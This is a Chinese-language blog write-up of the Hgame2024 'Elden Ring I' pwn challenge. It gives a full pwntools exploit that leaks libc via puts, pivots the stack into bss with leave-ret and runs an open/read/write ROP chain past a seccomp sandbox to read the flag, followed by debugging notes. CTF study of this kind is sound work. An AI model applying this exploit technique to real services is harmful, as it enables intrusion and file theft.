记录一次栈迁移|Hgame2024-Elden Ring I

M1aoo0bin

( ºΔº )

很有意义的一次做题,尤其对我这种。。

解题过程

按照流程应该先看一下保护和文件信息,但是因为我是知道答案找过程所以就略过。

然后看ida,找一下洞
img.png
看到开了沙箱,禁用了一些系统调用
然后进函数看
img.png
申请了100h空间写东西,但是允许你写130h,非常清楚的栈溢出,给了30h的操作空间

所以大概思路就是要用orw这样也能读到flag,然后30h写不下,所以需要一块可写的地方,还有足够的长度和写的指令。

看到vuln里面有read(),所以写的指令可以直接借这个。放orx的地方就选择可读可写的bss段,那么就要栈迁移一下。

好,那么exp的思路应该是:

1
2
3
4
...
第一次leave ret:溢出一下,改变rbp旧址,移动栈底,把read()的写入地址改成bss,回到read()
第二次leave ret:借read()把orw写进新的栈之后会经过leave ret,然后自然而然rsp找rbp,ret到栈顶。
...

新的栈相当于全部都是可以利用的,所以基本不担心写不写得下orw。
然后来看需要的地址(除了ida能找到的和pwntools可以直接读到的)和代码片段:

  • pop_rax_ret
  • pop_rdi_ret
  • pop_rsi_ret
  • pop_rdx_ret
  • open_addr
  • read_addr
  • write_addr

然后去找了一下代码片段
img.png
啊这根本不够用,而且知道open_addr也需要libc基址
所以显然再加一步泄露libc基址,啊因为这个题还是比较温柔的,vuln里一共就一个puts(),一个read(),很明显这个用过的puts()
可以拿来got表泄露一下。
我们已经能够控制rdi了,30h也足够把puts()泄露了

所以payload的思路就是:

1
2
3
4
第一次read:溢出泄露puts()拿到puts()的物理地址,回到函数
然后减去偏移泄露libc,算一下需要的地址,以及代码片段的位置
第二次read:溢出改变rbp旧址,控制rax,回到read()
第三次read:写入orw

好的下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level="debug"

p=process("./vuln")
elf=ELF("./vuln")
libc=ELF("./libc.so.6")

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
##ida里直接找的
ret_add=0x40125B
bss_add=0x404090
##ROPgadget
pop_rdi_ret=0x4013e3

#第一次read
payload=(0x108)*b'A'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(ret_add)
payload=payload.ljust(0x130,b'\x00')

p.sendafter("accord.",payload)
p.recvline()
p.recvline()

#算基址
puts_add=u64(p.recvline()[:6].ljust(8,b'\x00'))
libc_base=puts_add-0x84420 ##0x84420是puts在libc里的偏移,这个东西有两种来法,写在后面力
print("libc_base=",hex(libc_base),"puts_add=",hex(puts_add))

#算需要的地址
pop_rax_ret=0x0000000000036174+libc_base
pop_rsi_ret=0x000000000002601f+libc_base
pop_rdx_ret=0x0000000000142c92+libc_base
open_add=libc_base+libc.sym["open"]
read_add=libc_base+libc.sym["read"]
write_add=libc_base+libc.sym["write"]

#第二次read
payload=0x100*b'a'
payload+=p64(bss_add-0x8)##rbp
payload+=p64(pop_rax_ret)
payload+=p64(bss_add)
payload+=p64(0x401282)
#gdb.attach(p)

p.sendafter("accord.",payload)

#第三次read
#orw 从0x404090开始
payload1=p64(pop_rdi_ret)
payload1+=p64(0x404128)
payload1+=p64(pop_rsi_ret)
payload1+=p64(0)
payload1+=p64(open_add)

payload1+=p64(pop_rdi_ret)
payload1+=p64(3)
payload1+=p64(pop_rsi_ret)
payload1+=p64(0x404140) ##0x404128+hex(16)=0x404138
payload1+=p64(pop_rdx_ret)
payload1+=p64(0x100)
payload1+=p64(read_add)

payload1+=p64(pop_rdi_ret)
payload1+=p64(1)
payload1+=p64(pop_rsi_ret)
payload1+=p64(0x404140)
payload1+=p64(pop_rdx_ret)
payload1+=p64(0x100)
payload1+=p64(write_add)
payload1+=b'flag\x00\x00\x00\x00'#0x404090+hex(19*8)=0x404128
payload1+= p64(0)*16

p.send(payload1)

p.interactive()

一些问题复现与小知识

栈迁移

个人理解就是栈顶找栈底,然后把栈底的旧址改了就能把栈迁移走。

那么第一次leave ret就是栈顶回到没有申请栈的时候,栈底移走
第二次leave ret就是栈顶到了新栈底的地方,控制流就跟着栈顶走了

迁移到了哪?0x404090

原计划是要迁移到bss段,但是我看到ida上bss的开始其实还要更早
img.png
而实际写进去的位置大概在prgend这里,呃呃查了一些资料感受不出来这俩有啥要可以区分的
img_1.png
总之直接开调,先去vmmap里面只能看到数据段是从0x404000到0x405000很大一段
然后ida也能看到bss的起始地址,就试了一下把bss_add写得再小一点,是可以打通的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
bss_add=0x404068
...

#orw 0x404090
payload1=p64(pop_rdi_ret)
payload1+=p64(0x404100)
payload1+=p64(pop_rsi_ret)
payload1+=p64(0)
payload1+=p64(open_add)

...
payload1+=p64(0x404108)
payload1+=p64(pop_rdx_ret)
payload1+=p64(0x100)
payload1+=p64(read_add)

...
payload1+=p64(0x404108)
...

后来我又试了一下把orw写到data(0x404050开始)上在这个题目里也是可以打通的,不过再往前和got.plt(0x404000)开始就不ok了,应该是影响到了函数调用(?

orw

这个东西之前接触过,但是和这次的调用逻辑不太一样,,,但是函数传参那套还是在的
emmm主要调试了一下这个第二个参数传的地址的变化,open要开的是’flag‘的地址,就是[add]=’flag’
,第一遍打通的时候其实没找准,主要是因为我用的最后一个gadget和参考的exp不一样长,然后填充长度也就不一样了。

所以后来改了一下,然后把计算过程写在前面的exp里了,也用tele调试了几种不同的情况。

recv()

这个东西从我第一次打pwn到现在都在出问题(乐
首先这次是因为这个狗题puts(“…\n”)
然后recvline(keepends=True)默认接收换行符,且是接收到换行符结束
recvuntil(delims, drop=False),delims是字符串,drop表示是否丢弃中止标志
recv()接收指定字符长度

offset

计算

这个相对libc的偏移是固定的,只是libc的基址会变,所以可以取一次调试得到的装载后的地址puts_add
-这一次的基址就是每一次的偏移。
这个x指令我不是很会用,就用p凑合凑合了
img_2.png
img_3.png
然后十进制转一下十六进制。。

脚本

但是我本来就在想,既然偏移是固定的,那pwntools为什么不能直接解析文件呢。
而且本来脚本就有:

1
2
3
open_add=libc_base+libc.sym["open"]
read_add=libc_base+libc.sym["read"]
write_add=libc_base+libc.sym["write"]

这种东西,他们的偏移不就直接得出来。
然后我就试了一下这个

1
print(hex(libc.sym['puts']))

返回0x84420,所以其实这玩意确实不用算。。

沙箱

装了一个工具,解决我只能硬看的问题

一些其他小问题

调到这里大部分问题都没有了,比较可惜的是其实没有机会复现寒假出现的问题了,可能确实那个时候就是环境一开始因为各种问题就是配的烂,所以有很多莫名其妙的东西出现,现在这个环境是我五一的时候重装的,这一次从头到尾都配很丝滑,所以好像也没有换glibc,patchelf有问题等一系列的毛病。

希望能早点做到一个需要换环境的题,因为这个我真不会。

收获

动态调试其实最重要的是我现在能理解到ret和pop了,之前不知道为什么就是对这两条指令的接收度不高,所以有些问题感觉都是好像懂了好像没懂。也可能是因为虽然代码写得多,但其实没怎么在实践中接触栈,对于栈顶的理解也不够深刻maybe.

  • Title: 记录一次栈迁移|Hgame2024-Elden Ring I
  • Author: M1aoo0bin
  • Created at : 2024-05-24 23:33:55
  • Updated at : 2024-09-03 21:05:20
  • Link: https://redefine.ohevan.com/2024/05/24/懒得喷/
  • License: This work is licensed under CC BY-NC-SA 4.0.